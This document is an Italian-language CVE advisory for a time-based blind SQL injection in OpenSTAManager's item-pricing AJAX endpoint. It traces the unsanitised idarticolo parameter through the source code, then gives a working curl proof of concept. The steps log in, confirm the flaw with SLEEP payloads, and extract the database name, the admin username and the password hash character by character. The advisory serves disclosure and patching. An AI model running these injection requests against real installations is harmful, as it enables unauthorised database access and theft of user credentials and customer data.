
CVE-2026-24416 - OpenSTAManager presenta un'iniezione SQL cieca basata sul tempo nel modulo di prezzatura degli articoli.
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-24416 |
| Gravità | ALTA |
| Avviso | Visualizza Avviso |
| Scoperto da | Lukasz Rybak |
Una vulnerabilità critica di SQL Injection Blind basata sul tempo nel modulo prezzi articoli di OpenSTAManager v2.9.8 consente ad attaccanti autenticati di estrarre l'intero contenuto del database, incluse le credenziali utente, i dati dei clienti e i registri finanziari, tramite attacchi di inferenza booleana basati sul tempo.
Stato: ✅ Confermata e testata su istanza live (v2.9.8) e demo.osmbusiness.it (v2.9.7)
Parametro Vulnerabile: idarticolo (GET)
Endpoint Interessato: /ajax_complete.php?op=getprezzi
Modulo Interessato: Articoli (Articoli/Prodotti)
OpenSTAManager v2.9.8 contiene una vulnerabilità critica di SQL Injection Blind basata sul tempo nel gestore di completamento dei prezzi degli articoli. L'applicazione non sanifica correttamente il parametro idarticolo prima di utilizzarlo nelle query SQL, consentendo agli attaccanti di iniettare comandi SQL arbitrari ed estrarre dati sensibili tramite inferenza booleana basata sul tempo.
Catena della Vulnerabilità:
Punto di Ingresso: /ajax_complete.php (Riga 27)
$op = get('op');
$result = AJAX::complete($op);
Il parametro op viene recuperato, ma la vulnerabilità risiede in altri parametri.
Distribuzione: /src/AJAX.php::complete() (Riga 189)
$result = self::getCompleteResults($file, $resource);
Esecuzione: /src/AJAX.php::getCompleteResults() (Riga 402)
require $file;
Vengono inclusi i file complete.php specifici del modulo.
Parametro Vulnerabile: /modules/articoli/ajax/complete.php (Riga 26)
$idarticolo = get('idarticolo');
Il parametro idarticolo viene recuperato dalla richiesta GET.
Query SQL Vulnerabile: /modules/articoli/ajax/complete.php (Riga 70) VULNERABILITÀ PRINCIPALE
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Impatto: Concatenazione diretta di $idarticolo senza prepare(), mentre $idanagrafica viene correttamente sanificata.
Contesto - Struttura Completa della Query (Righe 39-74):
La query vulnerabile fa parte di una query UNION che recupera lo storico dei prezzi da fatture e documenti di trasporto:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Causa Principale: Lo sviluppatore ha usato correttamente prepare() nella prima SELECT (Riga 54), ma ha dimenticato di utilizzarlo nella seconda SELECT della query UNION (Riga 70), creando un modello di sicurezza incoerente.
Fase 1: Accesso
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Fase 2: Verifica della Vulnerabilità (SLEEP Basato sul Tempo)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
Fase 3: Estrazione dei Dati - Nome del Database
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Fase 4: Estrazione di Dati Sensibili - Credenziali Admin
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)